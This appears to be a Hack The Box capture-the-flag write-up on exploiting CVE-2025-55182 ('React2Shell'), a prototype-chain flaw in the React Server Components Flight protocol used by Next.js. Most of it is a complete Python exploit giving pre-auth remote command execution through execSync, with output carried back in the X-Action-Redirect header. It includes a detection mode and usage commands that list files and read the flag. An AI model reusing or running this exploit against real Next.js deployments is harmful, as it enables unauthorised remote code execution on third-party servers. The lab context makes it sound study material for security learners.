$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: exploit a Next.js 16.0.6 application with React Server Components. Solution: use the React2Shell vulnerability (CVE-2025-55182) to achieve pre-auth RCE via prototype chain traversal in the Flight protocol, exfiltrating command output through the X-Action-Redirect header.
NexusAI's polished assistant interface promises adaptive learning and seamless interaction. But beneath its reactive front end, subtle glitches hint that user input may be shaping the system in unexpected ways. Explore the platform, trace the echoes in its reactive layer, and uncover the hidden flaw buried behind the UI.
Target: http://83.136.255.53:40960
{ "name": "react2shell", "version": "1.0.0", "dependencies": { "next": "16.0.6", "react": "^19.0.0" } }
Critical indicators:
react2shell - direct hint to the vulnerability!The package name pointed directly to CVE-2025-55182 (also known as CVE-2025-66478):
The vulnerability exists in React's Flight protocol implementation (ReactFlightReplyServer.js). The getOutlinedModel() function lacks a hasOwnProperty check when traversing object paths:
// Vulnerable code in getOutlinedModel() for (let i = 1; i < path.length; i++) { value = value[path[i]]; // No hasOwnProperty check! }
This allows an attacker to traverse the prototype chain using references like $1:__proto__:then, which:
Chunk.prototype.thenFunction constructorchild_process.execSync()The exploit works by:
Next-Action: dontcare header (any value works)$1:__proto__:then -> Chunk.prototype.then -> Function constructorchild_process.execSync()X-Action-Redirect header using NEXT_REDIRECT error#!/usr/bin/env python3 """ React2Shell CVE-2025-55182 Exploit Pre-auth RCE in React Server Components (Flight Protocol) """ import requests import sys import re from urllib.parse import unquote def exploit(target_url, command): # Payload uses NEXT_REDIRECT error to exfiltrate command output prefix_payload = ( f"var res=process.mainModule.require('child_process').execSync('{command}')" f".toString().trim();throw Object.assign(new Error('NEXT_REDIRECT')," f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});" ) # Malicious JSON exploiting prototype chain traversal part0 = ( '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,' '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"' + prefix_payload + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}' ) # Multipart form data boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" body = ( f"--{boundary}\r\n" f'Content-Disposition: form-data; name="0"\r\n\r\n' f"{part0}\r\n" f"--{boundary}\r\n" f'Content-Disposition: form-data; name="2"\r\n\r\n' f"[]\r\n" f"--{boundary}--\r\n" ) headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Next-Action": "dontcare", # Any value works "Accept": "text/x-component", } response = requests.post(target_url, headers=headers, data=body, allow_redirects=False) # Extract command output from X-Action-Redirect header redirect = response.headers.get("X-Action-Redirect", "") match = re.search(r'\?a=([^;]+)', redirect) if match: return unquote(match.group(1)) return None def detect(target_url): """Check if target is vulnerable""" result = exploit(target_url, "echo VULNERABLE") return result and "VULNERABLE" in result if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <url> [command]") print(f" {sys.argv[0]} <url> --detect") sys.exit(1) url = sys.argv[1] if len(sys.argv) > 2 and sys.argv[2] == "--detect": if detect(url): print("[+] VULNERABLE to React2Shell (CVE-2025-55182)") else: print("[-] Not vulnerable or unreachable") elif len(sys.argv) > 2: result = exploit(url, sys.argv[2]) if result: print(result) else: print("[-] Exploit failed") else: print("[-] Please specify a command or --detect")
# Step 1: Detect vulnerability python3 exploit.py "http://83.136.255.53:40960" --detect # Output: [+] VULNERABLE to React2Shell (CVE-2025-55182) # Step 2: Enumerate filesystem python3 exploit.py "http://83.136.255.53:40960" "ls -la /app" # Step 3: Get the flag python3 exploit.py "http://83.136.255.53:40960" "cat /app/flag.txt"
Use this technique when you see:
Next-Action header handling$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar